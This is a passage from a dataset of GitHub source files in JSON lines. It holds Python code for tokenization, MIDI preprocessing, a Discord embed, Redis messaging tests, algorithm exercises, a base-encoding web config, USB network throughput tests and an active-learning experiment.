token_ends = []\n token_starts = []\n tokens = []\n for (start, end), t in zip(encoded.offsets, encoded.tokens):\n if t.startswith(\"Ġ\") or t.startswith(\"Ċ\") or t.startswith(\"Â\"):\n t = t[1:]\n tokens.append(t.strip())\n if token_ends:\n # tokenizers outputs start and end tokens that duplicate in the case of\n # a single char mapping to multiple tokens.\n start = max(token_ends[-1], start)\n if end - start > len(t):\n start = end - len(t)\n token_starts.append(start)\n token_ends.append(end)\n\n batch_tokens.append(tokens)\n batch_char_ends.append(token_ends)\n batch_char_starts.append(token_starts)\n return EncodedOutput(\n token_ids=batch_token_idxs,\n tokens=batch_tokens,\n token_ends=batch_char_ends,\n token_starts=batch_char_starts,\n )\n\n def decode(self, ids):\n return self.tokenizer.decode(ids, skip_special_tokens=True)\n\n\n\nclass RoBERTaEncoderXDoc(RoBERTaEncoderV2):\n offset = 0\n\n @property\n def vocab_size(self):\n return 50265","repo_name":"IndicoDataSolutions/finetune","sub_path":"finetune/base_models/bert/roberta_encoder.py","file_name":"roberta_encoder.py","file_ext":"py","file_size_in_byte":5462,"program_lang":"python","lang":"en","doc_type":"code","stars":692,"dataset":"github-code","pt":"31"} +{"seq_id":"36511575111","text":"import discord\n\n\nclass Embed(discord.Embed):\n def __init__(self, **kwargs):\n kwargs.setdefault(\"color\", 0x9550F3)\n super().__init__(**kwargs)\n\n def compact_image(self, guild, url):\n if guild and guild.compact:\n self.set_thumbnail(url=url)\n else:\n self.set_image(url=url)\n","repo_name":"pikaninja/pokeland-rewrite","sub_path":"helpers/constants/objects.py","file_name":"objects.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"26400951784","text":"import glob\nimport pickle\nimport numpy as np\nfrom music21 import converter, instrument, note, chord\n\nimport tensorflow as tf\n\n\nclass Preprocess(object):\n def __init__(self):\n pass\n\n def generateNotes(self, file_path=None):\n notes = list()\n\n for file in glob.glob(\"./transposed_music/transposed_music/untransposed_songs/*.mid\"):\n midi = converter.parse(file)\n notes_to_parse = None\n\n try: # file has instrument parts\n s2 = instrument.partitionByInstrument(midi)\n notes_to_parse = s2.parts[0].recurse() \n \n except: # file has notes in a flat structure\n notes_to_parse = midi.flat.notes\n \n\n for element in notes_to_parse:\n if isinstance(element, note.Note):\n notes.append(str(element.pitch))\n \n elif isinstance(element, chord.Chord):\n notes.append( '.'.join(str(n) for n in element.normalOrder) )\n \n #store all the notes as a pickle object in disk\n with open('data/notes', 'wb') as filepath:\n pickle.dump(notes, filepath)\n\n return notes \n\n \n def prepareSequence(self, notes, n_vocab):\n '''Prepare sequence data which serves as neural network input'''\n\n sequence_length=100\n \n #get all pitchnames\n pitch_names = sorted(set(item for item in notes))\n \n #dictionary to map pitches to number\n note_to_int = dict( (note, number) for number, note in enumerate(pitch_names))\n \n network_input = list()\n network_output = list()\n\n #create input and output sequence\n for i in range(0, len(notes)-sequence_length, 1):\n seq_input = notes[i:i+sequence_length]\n seq_output = notes[i+sequence_length]\n\n network_input.append([note_to_int[char] for char in seq_input])\n network_output.append(note_to_int[seq_output])\n\n num_patterns = len(network_input)\n\n #reshape network input and output data for sequential-NN (viz LSTM/GRU)\n network_input = np.reshape(network_input, (num_patterns, sequence_length, 1))\n #normalize input\n normalized_input = network_input/float(n_vocab)\n \n #one-hot encode output vector\n network_output = tf.keras.utils.to_categorical(network_output)\n\n return (network_input, normalized_input)\n\n\n\nif __name__ == \"__main__\":\n preprocess = Preprocess()\n result = preprocess.vectorizeNoteSequence()\n \n # print('Network Input:')\n # print(result[0])\n\n # print('Network Output::')\n # print(result[1])\n \n\n\n \n\n\n\n","repo_name":"rawalvarun/MusicGenerationGAN","sub_path":"musicgeneration/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"16585744432","text":"import numpy as np\nfrom halutmatmul.halutmatmul import HalutMatmul\n\nA = np.random.random((10000, 512))\nA_train = A[:8000]\nA_test = A[8000:]\nB = np.random.random((512, 10))\nC = np.matmul(A_test, B)\n\nhm = HalutMatmul(C=32, K=16)\nhm.learn_offline(A_train, B)\nC_halut = hm.matmul_online(A_test)\n\nmse = np.square(C_halut - C).mean()\nprint(mse)\n","repo_name":"joennlae/halutmatmul","sub_path":"src/python/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":339,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"31"} +{"seq_id":"13667820730","text":"#skapar variablar\nPOKEDEX = {}\n\n#ÖPPNAR provresultat.txt och gör en foor loop för varje rad som sorterar med index och typ\nwith open(\"pokemonlista.txt\", \"r\",encoding=\"utf8\") as doinkster:\n for line in doinkster:\n index, pokemon, typ = line.split()\n POKEDEX[pokemon] = [typ, index]\n\n#Gör en print som printar typen och indexet (första value av key och sen andrra)\nprint(\"typ:\", POKEDEX[\"Gastly\"][0], \", index\", POKEDEX[\"Gastly\"][1])\nprint(\"typ:\", POKEDEX[\"Pikachu\"][0], \", index\", POKEDEX[\"Pikachu\"][1])","repo_name":"olivertd/repo","sub_path":"Programmering 1/Kokchun_Uppgifter/Dictionary/Dictionary_03.py","file_name":"Dictionary_03.py","file_ext":"py","file_size_in_byte":525,"program_lang":"python","lang":"sv","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"69896133529","text":"from turtle import Turtle\n\n\nFONT = (\"courier\", 50, \"normal\")\n\nALIGN = \"center\"\n\n\nclass Score(Turtle):\n def __init__(self):\n super().__init__()\n self.color(\"white\")\n self.penup()\n self.hideturtle()\n self.l_score = 0\n self.r_score = 0\n self.display_score()\n\n def left_score(self):\n self.l_score += 1\n self.display_score()\n\n def right_score(self):\n self.r_score += 1\n self.display_score()\n\n def display_score(self):\n self.clear()\n self.goto(-100, 200)\n self.write(arg=self.l_score, align=\"left\", font=FONT)\n self.goto(100, 200)\n self.write(arg=self.r_score, align=\"right\", font=FONT)","repo_name":"Divyanth2468/Pong-Game","sub_path":"score.py","file_name":"score.py","file_ext":"py","file_size_in_byte":704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"73426509848","text":"import redis\nfrom controllers.users_controller import UsersController\nfrom controllers.message_controllers import MessageController\nimport random\n\nrandom.seed(20)\n\nr = redis.StrictRedis('localhost', 6379, charset=\"utf-8\", decode_responses=True)\n\nUsersController(r)\nMessageController(r)\n\nusers = []\n\nfor i in range(20):\n username = 'test_user_'+str(i)\n UsersController.create_user(username)\n users.append(username)\n\nfor iters in range(1000):\n user1 = users[random.randint(0, 19)]\n user2 = users[random.randint(0, 19)]\n MessageController.push_messages(user1, user2, 'text')\n\n","repo_name":"dionissqq/bd2lab2","sub_path":"code/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":591,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"22316778585","text":"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\n\ndef surface_plot (matrix, **kwargs):\n # acquire the cartesian coordinate matrices from the matrix\n # x is cols, y is rows\n (x, y) = np.meshgrid(np.arange(matrix.shape[0]), np.arange(matrix.shape[1]))\n fig = plt.figure()\n ax = fig.add_subplot(111, projection='3d')\n surf = ax.plot_surface(x, y, matrix, **kwargs)\n return (fig, ax, surf)\n\nm = np.fromfunction(lambda x, y: np.sin(np.sqrt(x**2 + y**2)), (10, 10))\n\n(fig, ax, surf) = surface_plot(m)\n\nfig.colorbar(surf)\n\nax.set_xlabel('X (cols)')\nax.set_ylabel('Y (rows)')\nax.set_zlabel('Z (values)')\n\nplt.show()\n","repo_name":"vanessachen/machine_learning","sub_path":"linear_regression/SurfacePlot.py","file_name":"SurfacePlot.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"13694336067","text":"# 입력값 저장\narray = []\n# stack 저장\nstack = []\n# stack이 pop을 하기 때문에 stack만으로는 제대로 된 계산 X\nstack_check = [] # index = 0 --> 이렇게 직접 리스트를 생성하지 않아도 됐습니다. stack_check부분에 변수 index로 처리하는 경우도 넣겠습니다.\n# +,- 출력값 저장\noutput = []\n\n# 입력할 숫자 갯수\na = int(input())\n\n# a만큼 숫자 입력 받기\nfor i in range(0, a):\n b = int(input())\n array.append(b)\n # stack 초기 입력값 처리 : 초기 값을 len(stack) == 0으로 처리했다가 5(갯수 입력) 1 2 5 4 3 을 입력하면 잘못된 결과가 출력\n if i == 0:\n for j in range(1, b+1):\n stack.append(j)\n stack_check.append(j) # index += 1\n output.append('+')\n stack.pop()\n output.append('-')\n # stack 초기 입력값이 아닌 경우\n else:\n # i번째 입력값이 i-1번째 입력값보다 큰 경우\n if array[i] > array[i-1]:\n for k in range(stack_check[-1]+1, array[i]+1): # for k in range(index+1, array[i]+1):\n stack.append(k)\n stack_check.append(k) # index += 1\n output.append('+')\n stack.pop()\n output.append('-')\n # i번째 입력값이 i-1번째 입력값보다 작은 경우\n else:\n # 입력값과 스택의 top값이 같은 경우 입력값만 pop\n if array[i] == stack[-1]:\n stack.pop()\n output.append('-')\n # 입력값과 스택의 top값이 다른 경우 [top값 - 입력값]만큼 pop을 해야함(즉, 입력값만 pop되지 X)\n else:\n # append 함수는 뒤에 계속 추가되는 것이므로 새로 추가되는 것들과 상관없게 맨 앞에 NO를 입력\n output[0] = 'NO'\n\n# 결과 출력\nfor i in range(0, len(output)):\n # NO인 경우 다른 +,-들이 출력되지 않게 break\n if output[0] == 'NO':\n print('NO')\n break\n else:\n print(output[i])\n","repo_name":"P00HP00H/baekjoon_algorithm","sub_path":"단계별/스택 사용하기/1874.py","file_name":"1874.py","file_ext":"py","file_size_in_byte":2084,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34221814919","text":"# given target in array sorted find first and last index.\n\n# start from first position until reaching the first index\n\n# T(n) = O(n) S(n) = O(1)\n\n############################################\n\n# pay attention to equality ! in 39\n\n# à\n\nfrom typing import List\n\n\ndef first_last(arr, target):\n for i in range(len(arr)):\n if arr[i] == target:\n start = i\n while i+1 < len(arr) and arr[i+1] == target:\n i += 1\n return [start, i]\n\n return [-1, -1]\n\n\n# binary search\n\ndef find_start(arr, target):\n if arr[0] == target:\n return 0\n\n left, right = 0, len(arr)-1\n while left <= right:\n mid = (left+right)//2\n print(mid)\n if arr[mid] == target and arr[mid-1] < target:\n return mid\n elif arr[mid] >= target:\n # look at left side of array\n right = mid - 1\n else:\n # look at right side of array\n left = mid + 1\n\n return -1\n\n\ndef find_end(arr, target):\n if arr[-1] == target:\n return len(arr) - 1\n\n left, right = 0, len(arr)-1\n while left <= right:\n mid = (left+right)//2\n if arr[mid] == target and arr[mid+1] > target:\n return mid\n elif arr[mid] > target:\n # look at left side of array\n right = mid - 1\n else:\n # look at right side of array\n left = mid + 1\n\n return -1\n\n# T(n) = 2 O(log n)\n# S(n) = O(1)\n\n\ndef first_and_last(arr, target):\n # consider 3 cases where it's impossible to find target\n if len(arr) == 0 or arr[0] > target or arr[-1] < target:\n return [-1, 1]\n\n start = find_start(arr, target)\n end = find_end(arr, target)\n return [start, end]\n\n\narr = [1, 3, 4, 7, 7, 7, 8, 8, 8, 9]\n\n\nprint(first_and_last(arr, 7))\n","repo_name":"Zarasim/Python_projects","sub_path":"array/index_first_last.py","file_name":"index_first_last.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"70104380247","text":"class SaveAllKwargs(object):\n def __init__(self, **kwargs) -> None:\n for k, v in kwargs.items():\n setattr(self, k, v)\n\n def get_html_attrs(self):\n _attrs = {}\n {_attrs.update({key: val}) for key, val in self.__dict__.items()}\n _attrs.update({\"class\": f\"{self.cls}\"} if hasattr(self, 'cls') else {\"\": \"\"})\n return _attrs\n\n\nclass Boxes(SaveAllKwargs):\n def __init__(self, **kwargs) -> None:\n super().__init__(**kwargs)\n # print(dir(self))\n self.id = self.li.id\n\n\nclass Li(SaveAllKwargs):\n def __init__(self, **kwargs) -> None:\n super().__init__(**kwargs)\n\n\nclass Form(SaveAllKwargs):\n def __init__(self, **kwargs) -> None:\n super().__init__(**kwargs)\n\n\nclass Address(SaveAllKwargs):\n def __init__(self, **kwargs) -> None:\n super().__init__(**kwargs)\n\n\nclass Input(SaveAllKwargs):\n def __init__(self, **kwargs) -> None:\n super().__init__(**kwargs)\n\n\nclass Textarea(SaveAllKwargs):\n value = \"\"\n\n def __init__(self, **kwargs) -> None:\n super().__init__(**kwargs)\n\n\nboxes = [\n Boxes(\n li=Li(\n cls=\"box full\",\n id=\"text\"),\n form=Form(\n method=\"POST\",\n action=\"/\", _action=\"/text\"),\n href=Address(\n url=\"https://www.paulschou.com/tools/ascii/\",\n content=\"TEXT\"),\n textarea=Textarea(\n cols=\"80\",\n rows=\"10\",\n wrap=\"virtual\",\n name=\"ascii\",\n id=\"text_input\",\n cls=\"box-text\"),\n input=Input(\n type=\"submit\",\n cls=\"btn\",\n value=\"< ENCODE >\")),\n Boxes(\n li=Li(\n cls=\"box\",\n id=\"bin\",\n ),\n form=Form(\n method=\"POST\",\n action=\"/\", _action=\"/bin\",\n ),\n href=Address(\n url=\"https://en.wikipedia.org/wiki/Binary_numeral_system\",\n content=\"BINARY\",\n ),\n textarea=Textarea(\n cols=\"35\",\n rows=\"10\",\n wrap=\"virtual\",\n name=\"bin\",\n id=\"bin_input\",\n cls=\"box-text\"),\n input=Input(\n type=\"submit\",\n cls=\"btn\",\n value=\"< DECODE >\")),\n Boxes(\n li=Li(\n cls=\"box\",\n id=\"oct\",\n ),\n form=Form(\n method=\"POST\",\n action=\"/\", _action=\"/oct\",\n ),\n href=Address(\n url=\"https://en.wikipedia.org/wiki/Octal\",\n content=\"OCT\",\n ),\n textarea=Textarea(\n cols=\"35\",\n rows=\"10\",\n wrap=\"virtual\",\n name=\"oct\",\n id=\"oct_input\",\n cls=\"box-text\"),\n input=Input(\n type=\"submit\",\n cls=\"btn\",\n value=\"< DECODE >\")),\n Boxes(\n li=Li(\n cls=\"box\",\n id=\"hex\",\n ),\n form=Form(\n method=\"POST\",\n action=\"/\", _action=\"/hex\",\n ),\n href=Address(\n url=\"https://en.wikipedia.org/wiki/Hexidecimal\",\n content=\"HEX\",\n ),\n textarea=Textarea(\n cols=\"35\",\n rows=\"10\",\n wrap=\"virtual\",\n name=\"hex\",\n id=\"hex_input\",\n cls=\"box-text\"),\n input=Input(\n type=\"submit\",\n cls=\"btn\",\n value=\"< DECODE >\")),\n Boxes(\n li=Li(\n cls=\"box\",\n id=\"b32\",\n ),\n form=Form(\n method=\"POST\",\n action=\"/\", _action=\"/b32\",\n ),\n href=Address(\n url=\"https://en.wikipedia.org/wiki/Base32\",\n content=\"BASE32\",\n ),\n textarea=Textarea(\n cols=\"35\",\n rows=\"10\",\n wrap=\"virtual\",\n name=\"b32\",\n id=\"b32_input\",\n cls=\"box-text\"),\n input=Input(\n type=\"submit\",\n cls=\"btn\",\n value=\"< DECODE >\")),\n Boxes(\n li=Li(\n cls=\"box\",\n id=\"b64\",\n ),\n form=Form(\n method=\"POST\",\n action=\"/\", _action=\"/b64\",\n ),\n href=Address(\n url=\"https://en.wikipedia.org/wiki/Base64\",\n content=\"BASE64\",\n ),\n textarea=Textarea(\n cols=\"35\",\n rows=\"10\",\n wrap=\"virtual\",\n name=\"b64\",\n id=\"b64_input\",\n cls=\"box-text\"),\n input=Input(\n type=\"submit\",\n cls=\"btn\",\n value=\"< DECODE >\")),\n Boxes(\n li=Li(\n cls=\"box\",\n id=\"a85\",\n ),\n form=Form(\n method=\"POST\",\n action=\"/\", _action=\"/a85\",\n ),\n href=Address(\n url=\"https://en.wikipedia.org/wiki/Ascii85\",\n content=\"ASCII85\",\n ),\n textarea=Textarea(\n cols=\"35\",\n rows=\"10\",\n wrap=\"virtual\",\n name=\"a85\",\n id=\"a85_input\",\n cls=\"box-text\"),\n input=Input(\n type=\"submit\",\n cls=\"btn\",\n value=\"< DECODE >\")),\n Boxes(\n li=Li(\n cls=\"box\",\n id=\"char\",\n ),\n form=Form(\n method=\"POST\",\n action=\"/\",\n ),\n href=Address(\n url=\"https://en.wikipedia.org/wiki/ASCII\",\n content=\"CHAR / DEC\",\n ),\n textarea=Textarea(\n cols=\"35\",\n rows=\"10\",\n wrap=\"virtual\",\n name=\"char\",\n id=\"char_input\",\n cls=\"box-text\"),\n input=Input(\n type=\"submit\",\n cls=\"btn\",\n value=\"< DECODE >\")),\n Boxes(\n li=Li(\n cls=\"box\",\n id=\"hash\",\n ),\n form=Form(\n method=\"POST\",\n ),\n href=Address(\n url=\"\",\n content=\"TEXT INFO\",\n ),\n textarea=Textarea(\n cols=\"35\",\n rows=\"10\",\n wrap=\"off\",\n name=\"hash\",\n id=\"hash_input\",\n readonly=\"true\",\n cls=\"box-text\"),\n input=Input()),\n]\n","repo_name":"alfonzso/py-xlate","sub_path":"app/boxes.py","file_name":"boxes.py","file_ext":"py","file_size_in_byte":6225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"24894137612","text":"import os\nimport pytest\nimport tools.ping\nimport time\nimport numpy\nimport collections\n\nfrom tools.constants import LINK_SPEED_AUTO, LINK_SPEED_5G, LINK_SPEED_2_5G, LINK_SPEED_1G, LINK_SPEED_100M, \\\n DIRECTION_RXTX, DIRECTION_RX, DIRECTION_TX, CARD_FIJI, SPEED_TO_MBITS\nfrom tools.utils import get_atf_logger\nfrom infra.test_base import TestBase\nfrom tools.driver import Driver, DRV_TYPE_CDC\nfrom tools.iptables import IPTables\nfrom perf.nuttcp import Nuttcp\n\nlog = get_atf_logger()\n\nFC_OFF = \"off\"\nFC_ON = \"on\"\n\nSPEEDS = [LINK_SPEED_AUTO, LINK_SPEED_5G, LINK_SPEED_2_5G, LINK_SPEED_1G, LINK_SPEED_100M]\nDIRECTIONS = [DIRECTION_RX, DIRECTION_TX, DIRECTION_RXTX]\n\n\ndef setup_module(module):\n # import tools._test_setup # uncomment for manual test setup\n os.environ[\"TEST\"] = \"usb_iperf_throughput\"\n\n\nclass TestUsbThroughput(TestBase):\n TMO = 10\n\n @classmethod\n def setup_class(cls):\n super(TestUsbThroughput, cls).setup_class()\n\n try:\n cls.log_server_dir = cls.create_logs_dir_on_log_server()\n cls.install_firmwares()\n\n if cls.dut_drv_cdc:\n cls.dut_driver = Driver(port=cls.dut_port, version=cls.dut_drv_version, drv_type=DRV_TYPE_CDC)\n else:\n cls.dut_driver = Driver(port=cls.dut_port, version=cls.dut_drv_version)\n\n cls.lkp_driver = Driver(port=cls.lkp_port, version=cls.lkp_drv_version, host=cls.lkp_hostname)\n\n cls.dut_driver.install()\n cls.lkp_driver.install()\n\n cls.dut_ifconfig.set_ip_address(cls.DUT_IPV4_ADDR, cls.DEFAULT_NETMASK_IPV4, None)\n cls.lkp_ifconfig.set_ip_address(cls.LKP_IPV4_ADDR, cls.DEFAULT_NETMASK_IPV4, None)\n\n iptables = IPTables(dut_hostname=cls.dut_hostname, lkp_hostname=cls.lkp_hostname)\n iptables.clean()\n\n if cls.dut_fw_card == CARD_FIJI and cls.dut_ops.is_windows():\n cls.dut_ifconfig.set_advanced_property(\"LowPower5G\", \"Disable\")\n cls.dut_ifconfig.set_link_down()\n cls.dut_ifconfig.set_link_up()\n cls.dut_ifconfig.wait_link_up()\n\n except Exception as e:\n log.exception(\"Failed while setting up class\")\n raise e\n\n def run_nuttcp(self, dut_speed, lkp_speed, direction, fc):\n assert dut_speed in SPEEDS\n assert lkp_speed in SPEEDS\n assert direction in DIRECTIONS\n\n if dut_speed != LINK_SPEED_AUTO and dut_speed not in self.supported_speeds:\n pytest.skip()\n\n if lkp_speed != LINK_SPEED_AUTO and dut_speed not in self.supported_speeds:\n pytest.skip()\n\n if fc == FC_OFF:\n self.dut_ifconfig.set_media_options(options_to_set=[\"full-duplex\"])\n self.lkp_ifconfig.set_media_options([\"full-duplex\"])\n elif fc == FC_ON:\n self.dut_ifconfig.set_media_options(options_to_set=[\"flow-control\", \"full-duplex\"])\n self.lkp_ifconfig.set_media_options([\"full-duplex\", \"flow-control\"])\n\n if not self.dut_drv_cdc:\n self.dut_ifconfig.set_link_speed(dut_speed)\n\n self.lkp_ifconfig.set_link_speed(lkp_speed)\n lkp_cur_speed = self.lkp_ifconfig.wait_link_up()\n\n dut_cur_speed = (self.dut_ifconfig.get_link_speed() if not self.dut_drv_cdc else LINK_SPEED_AUTO)\n\n if not self.dut_drv_cdc:\n if 'Switch' not in self.platform:\n assert dut_cur_speed == lkp_cur_speed == (lkp_speed if dut_speed != LINK_SPEED_AUTO else self.supported_speeds[-1])\n else:\n assert dut_cur_speed == (dut_speed if dut_speed != LINK_SPEED_AUTO else self.supported_speeds[-1])\n assert lkp_cur_speed == (lkp_speed if lkp_speed != LINK_SPEED_AUTO else self.supported_speeds[-1])\n else:\n assert lkp_cur_speed == (lkp_speed if lkp_speed != LINK_SPEED_AUTO else self.supported_speeds[-1])\n\n time.sleep(3)\n assert tools.ping.ping(4, self.LKP_IPV4_ADDR, src_addr=self.DUT_IPV4_ADDR, margin=25) is True\n\n exp_rate = {LINK_SPEED_5G: 3100 if fc == FC_ON else 2300,\n LINK_SPEED_2_5G: 2000 if fc == FC_ON else 1900,\n LINK_SPEED_1G: 950 if fc == FC_ON else 900,\n LINK_SPEED_100M: 95 if fc == FC_ON else 90,\n LINK_SPEED_AUTO: 3100 if fc == FC_ON else 2300}\n\n # Expect low traffic on usb 2.0 and cdc\n if self.usb_2_0:\n exp_rate = {LINK_SPEED_1G: 330 if fc == FC_ON else 300,\n LINK_SPEED_100M: 95 if fc == FC_ON else 90,\n LINK_SPEED_AUTO: 330 if fc == FC_ON else 300}\n\n if self.dut_drv_cdc:\n exp_rate = {v: exp_rate[v] * 0.8 for v in exp_rate}\n\n args = {\n \"dut\": self.dut_hostname,\n \"lkp\": self.lkp_hostname,\n \"dut4\": self.DUT_IPV4_ADDR,\n \"lkp4\": self.LKP_IPV4_ADDR,\n \"time\": self.TMO,\n \"bandwidth\": 0,\n \"is_udp\": True,\n \"direction\": direction,\n \"buffer_len\": 9000 if fc == FC_ON or direction == DIRECTION_TX else 1500,\n \"window\": \"4m\"\n }\n\n n = Nuttcp(**args)\n n.run_async()\n n.join()\n\n if direction in [DIRECTION_TX, DIRECTION_RX]:\n bands = n.results[0].bandwidth\n lost = n.results[0].lost\n else:\n bands = collections.defaultdict(dict)\n bands['rx']['lost'] = n.results[0].lost\n bands['rx']['band'] = n.results[0].bandwidth\n\n bands['tx']['lost'] = n.results[1].lost\n bands['tx']['band'] = n.results[1].bandwidth\n\n msg = '\\n'\n msg += '+ PARAMS: -------------------------------------------------------------------------------------- +\\n'\n msg += '| direction: {}\\n'.format(direction)\n msg += '| link: {}\\n'.format(dut_speed)\n msg += '| flow control: {}\\n'.format(fc)\n msg += '| perfomance: {}\\n'.format(\"{}|{}\".format(numpy.mean(bands['tx']['band']), numpy.mean(bands['rx']['band'])) \\\n if direction == DIRECTION_RXTX else \"{}\".format(numpy.mean(bands)))\n msg += '+ ---------------------------------------------------------------------------------------------- +\\n'\n log.info(msg)\n\n if direction == DIRECTION_RXTX:\n if (dut_speed == LINK_SPEED_1G or LINK_SPEED_AUTO) and self.usb_2_0:\n assert bands['rx']['band'] + bands['tx']['band'] > exp_rate, 'Sum of rx and tx bandwidth can not be \\\n less than {}'.format(exp_rate)\n else:\n assert numpy.mean(bands['tx']['band']) >= exp_rate[dut_speed]\n assert numpy.mean(bands['rx']['band']) >= exp_rate[dut_speed] * 0.87\n else:\n assert numpy.mean(bands) >= exp_rate[dut_speed]\n\n # 5G\n def test_5G_fc_on_tx(self):\n self.run_nuttcp(LINK_SPEED_5G, LINK_SPEED_5G, DIRECTION_TX, FC_ON)\n\n def test_5G_fc_on_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_5G, LINK_SPEED_5G, DIRECTION_RXTX, FC_ON)\n\n def test_5G_fc_on_rx(self):\n self.run_nuttcp(LINK_SPEED_5G, LINK_SPEED_5G, DIRECTION_RX, FC_ON)\n\n def test_5G_fc_off_tx(self):\n self.run_nuttcp(LINK_SPEED_5G, LINK_SPEED_5G, DIRECTION_TX, FC_OFF)\n\n def test_5G_fc_off_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_5G, LINK_SPEED_5G, DIRECTION_RXTX, FC_OFF)\n\n def test_5G_fc_off_rx(self):\n self.run_nuttcp(LINK_SPEED_5G, LINK_SPEED_5G, DIRECTION_RX, FC_OFF)\n\n # 2.5G\n def test_2_5G_fc_on_tx(self):\n self.run_nuttcp(LINK_SPEED_2_5G, LINK_SPEED_2_5G, DIRECTION_TX, FC_ON)\n\n def test_2_5G_fc_on_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_2_5G, LINK_SPEED_2_5G, DIRECTION_RXTX, FC_ON)\n\n def test_2_5G_fc_on_rx(self):\n self.run_nuttcp(LINK_SPEED_2_5G, LINK_SPEED_2_5G, DIRECTION_RX, FC_ON)\n\n def test_2_5G_fc_off_tx(self):\n self.run_nuttcp(LINK_SPEED_2_5G, LINK_SPEED_2_5G, DIRECTION_TX, FC_OFF)\n\n def test_2_5G_fc_off_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_2_5G, LINK_SPEED_2_5G, DIRECTION_RXTX, FC_OFF)\n\n def test_2_5G_fc_off_rx(self):\n self.run_nuttcp(LINK_SPEED_2_5G, LINK_SPEED_2_5G, DIRECTION_RX, FC_OFF)\n\n # 1G\n def test_1G_fc_on_tx(self):\n self.run_nuttcp(LINK_SPEED_1G, LINK_SPEED_1G, DIRECTION_TX, FC_ON)\n\n def test_1G_fc_on_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_1G, LINK_SPEED_1G, DIRECTION_RXTX, FC_ON)\n\n def test_1G_fc_on_rx(self):\n self.run_nuttcp(LINK_SPEED_1G, LINK_SPEED_1G, DIRECTION_RX, FC_ON)\n\n def test_1G_fc_off_tx(self):\n self.run_nuttcp(LINK_SPEED_1G, LINK_SPEED_1G, DIRECTION_TX, FC_OFF)\n\n def test_1G_fc_off_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_1G, LINK_SPEED_1G, DIRECTION_RXTX, FC_OFF)\n\n def test_1G_fc_off_rx(self):\n self.run_nuttcp(LINK_SPEED_1G, LINK_SPEED_1G, DIRECTION_RX, FC_OFF)\n\n # 100m\n def test_100m_fc_on_tx(self):\n self.run_nuttcp(LINK_SPEED_100M, LINK_SPEED_100M, DIRECTION_TX, FC_ON)\n\n def test_100m_fc_on_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_100M, LINK_SPEED_100M, DIRECTION_RXTX, FC_ON)\n\n def test_100m_fc_on_rx(self):\n self.run_nuttcp(LINK_SPEED_100M, LINK_SPEED_100M, DIRECTION_RX, FC_ON)\n\n def test_100m_fc_off_tx(self):\n self.run_nuttcp(LINK_SPEED_100M, LINK_SPEED_100M, DIRECTION_TX, FC_OFF)\n\n def test_100m_fc_off_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_100M, LINK_SPEED_100M, DIRECTION_RXTX, FC_OFF)\n\n def test_100m_fc_off_rx(self):\n self.run_nuttcp(LINK_SPEED_100M, LINK_SPEED_100M, DIRECTION_RX, FC_OFF)\n\n # AUTO\n def test_auto_fc_on_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_AUTO, LINK_SPEED_AUTO, DIRECTION_RXTX, FC_ON)\n\n def test_auto_fc_off_tx_rx(self):\n self.run_nuttcp(LINK_SPEED_AUTO, LINK_SPEED_AUTO, DIRECTION_RXTX, FC_OFF)\n\n\nif __name__ == \"__main__\":\n pytest.main([__file__, \"-s\", \"-v\"])\n","repo_name":"dgubanovv/qa-tests","sub_path":"usb_iperf_throughput_udp_nuttcp.py","file_name":"usb_iperf_throughput_udp_nuttcp.py","file_ext":"py","file_size_in_byte":9930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"23754142511","text":"from datasets import get_imdb, get_fine_food\nfrom exp_configs import Config\nfrom exp_single_label import exp_single_label\nfrom exp_transf import exp_transf\nfrom ics.classifier.lri import LightweightRandomIndexingVectorizer\n\nif __name__ == '__main__':\n\n seeds = list(range(10))\n steps = 1001\n eval_mod = 5\n evals = [i for i in range(steps) if i % eval_mod == 0]\n\n n_features = 2 ** 13\n vectorizer = LightweightRandomIndexingVectorizer(n_features=n_features)\n active_sample_size = 1000\n\n config = Config.PA_O100R_A\n\n csv_dir = f'../csv.logs/'\n\n average = False\n\n if config == Config.PA_O10R_A:\n learner_name = 'PA-R-10'\n elif config == Config.PA_O100R_A:\n learner_name = 'PA-R-100'\n\n al_name = 'active'\n\n get_dataset_target_function = get_imdb\n get_dataset_source_function = get_fine_food\n experiment_name = 'imdb_transf'\n\n exp_transf(csv_dir, experiment_name, learner_name, al_name, seeds, get_dataset_source_function,\n get_dataset_target_function, vectorizer, config, average, steps, active_sample_size, evals)\n\n get_dataset_target_function = get_fine_food\n get_dataset_source_function = get_imdb\n experiment_name = 'food_transf'\n\n exp_transf(csv_dir, experiment_name, learner_name, al_name, seeds, get_dataset_source_function,\n get_dataset_target_function, vectorizer, config, average, steps, active_sample_size, evals)\n\n config_to_do = [\n Config.SVM_B_A,\n Config.PA_O100R_A,\n ]\n\n experiment_name = 'food'\n average = False\n 